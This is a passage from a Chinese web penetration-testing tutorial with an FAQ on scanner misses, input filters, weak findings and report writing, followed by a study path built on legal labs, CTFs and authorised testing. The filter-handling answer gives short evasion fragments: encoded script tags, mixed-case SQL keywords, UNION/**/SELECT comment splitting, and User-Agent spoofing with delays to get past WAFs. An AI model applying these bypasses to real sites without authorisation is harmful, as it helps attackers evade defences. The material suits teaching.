常见问题与排查技巧实录扫描器什么都没扫出来是不是就没漏洞排查检查扫描范围是否正确是否遗漏了子域名、API接口扫描策略是否过于保守目标是否部署了强大的WAF/IPS拦截了扫描流量技巧尝试降低扫描速度添加随机延迟和伪造的User-Agent头。更重要的是立即转为手动测试。扫描器是辅助人才是主体。手工测试时网站返回“非法参数”或“请求异常”怎么办排查这可能意味着有基础防护如简单的关键字过滤、输入长度限制。技巧编码绕过尝试URL编码、双重URL编码、HTML编码、Unicode编码。例如script可以尝试写成%3Cscript%3E或\u003cscript\u003e。等价替换用代替AND用||代替OR用like代替用/**/代替空格。大小写混合SeLeCt代替SELECT。使用注释符分割UNION/**/SELECT/**/1,2,3。找到了一个疑似漏洞的点但无法利用或证明危害怎么办思路漏洞的价值在于其可利用性和影响。如果无法直接获取数据或执行命令思考是否可以组合其他漏洞是否是一个“鸡肋”的信息泄露点尝试扩大测试面看看同类型参数、同一功能模块的其他地方是否存在同样问题。如何写出高质量的漏洞报告要素齐全清晰的标题、详尽的漏洞描述URL、参数、步骤、原理简述、完整的复现步骤请求/响应截图或数据包、危害评估CVSS评分参考、修复建议。语言专业客观避免使用情绪化、攻击性语言。用事实和数据说话。证明视频对于复杂的逻辑漏洞录制一个简短的屏幕录像往往比文字描述更直观。5.2 可持续的学习与提升路径安全是一个需要终身学习的领域。以下是一个建议的进阶路径夯实基础1-3个月网络基础TCP/IP协议、HTTP/HTTPS协议重点方法、状态码、头字段、Cookie/Session。Web基础HTML、JavaScript、前后端交互方式GET/POST/AJAX。语言基础至少能读懂PHP/Python/Java中的一种理解基本语法和常见危险函数。靶场练习持续进行综合性靶场DVWA、bWAPP、WebGoat、HackTheBox在线平台需一定基础。专项靶场PentesterLab提供专题练习、SQLi-Labs专注SQL注入、XSS挑战平台。阅读与分析每日积累关注安全社区Seebug、先知社区、安全客、国外如PortSwigger Blog。分析漏洞公告关注CNVD、CNNVD及各大厂商的安全公告尝试理解漏洞原理和利用方式。阅读优秀报告在各大SRC安全应急响应中心和漏洞平台上学习别人提交的高质量报告。参与实践寻找机会合法授权测试参与公司内部的安全众测、或一些公开的合法漏洞测试项目。搭建个人实验环境用虚拟机搭建包含漏洞的完整环境如LAMP有漏洞的CMS进行从外网渗透到内网横向移动的完整演练。CTF比赛参加线上CTF比赛是锻炼实战能力的绝佳方式尤其是解题模式Jeopardy的Web题目。这条路没有捷径最大的技巧就是“动手”和“思考”。每遇到一个漏洞多问几个为什么为什么这里会有问题开发者在什么场景下会写出这样的代码修复方案为什么是那样久而久之你不仅会挖洞更能理解安全的本质甚至能从开发层面就避免问题的产生。这才是从一个“找洞者”成长为“安全工程师”的关键。
